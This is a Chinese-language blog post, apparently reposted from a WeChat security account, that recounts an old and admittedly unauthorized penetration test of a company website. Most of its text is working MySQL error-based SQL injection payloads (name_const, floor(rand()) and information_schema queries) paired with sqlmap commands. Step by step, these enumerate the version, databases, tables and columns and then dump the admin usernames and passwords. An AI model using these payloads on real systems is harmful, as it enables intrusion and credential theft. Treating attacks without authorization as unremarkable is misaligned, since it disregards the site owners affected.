扫描,那时候很菜,就直接扫注入。
工具是OWASP ZAP,VEGA 这2个都还好,速度很快
不知道各位师傅听说这些工具没有,那个时代,这些工具是神器!
4个注入点,我随便来一个。就OK了。
注入点:http://xxxx.xxxxx.com.cn/company/shop_list.php?nid=60
Ps:那时候没有授权的这个概念
你们懂了吧~~
MYSQL 手工报错注入+工具注入
先说手工的,咱们来对比学习下。
我们现在看下:显字位
手工的不多说了,5.0以上 直接order by
工具的说下:
我们用burp 代理下,然后联合查询 order by 1-- 在1这里设置字典变量,查看返回信息。
看下图片:
接下来,我们看下数据库信息。其实都知道是5.0的了,那么大的站,5.0以下少。
手工出来的:
查看版本mysql版本
+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)
上工具:SQLMAP:sqlmap -u url
还是手工的快呀。
咱们继续
我们来手工暴库 :
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
看到了。
更改的地方在:
FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1)
改成 LIMIT 1,1),LIMIT 2,1) 依次暴库 就OK了
我为了速度,就不一一来了。
工具:SQLMAP
sqlmap -u url -dbs
当前数据库:
出来一个16进制的:
70726F64756374
Product 当前库
我们继续爆
我们现在要知道表名了:
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=hex库名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
在表名哪里换上我们前面爆出的库名
61646D696E
是ADMIN的
工具看下:
Sqlmap -u url -D 库 -tables
实话实说,我用VPN香港的,SQLMAP速度都非常可观!
接着我们来爆内容:
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x70726F64756374 and table_name=0x61646D696E limit 3,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
我们还是更改后面的参数进行爆更多的内容
继续
太多了,直接工具
sqlmap -u url -D 库名 -T 表名 --columns
看到曙光了吧
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,admin.username,0x27,0x7e) from admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
提供个格式:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,表名.字段,0x27,0x7e) from 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
没问题了吧?
上面是密码,我们来整用户名:
用户名:
密码:
接着工具,很快就出来了。
sqlmap -u http://xxxx.xxx.com.cn/company/shop_list.php?nid=60 -D product -T admin -C username,password --dump
N年前的事情,现在也一样实用,很多大站,注入基本很少了,大家多考虑下逻辑漏洞,说不定,你的SRC奖金又高了。
原文始发于微信公众号(衡阳信安):原创 | 记N年前的一次渗透测试!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论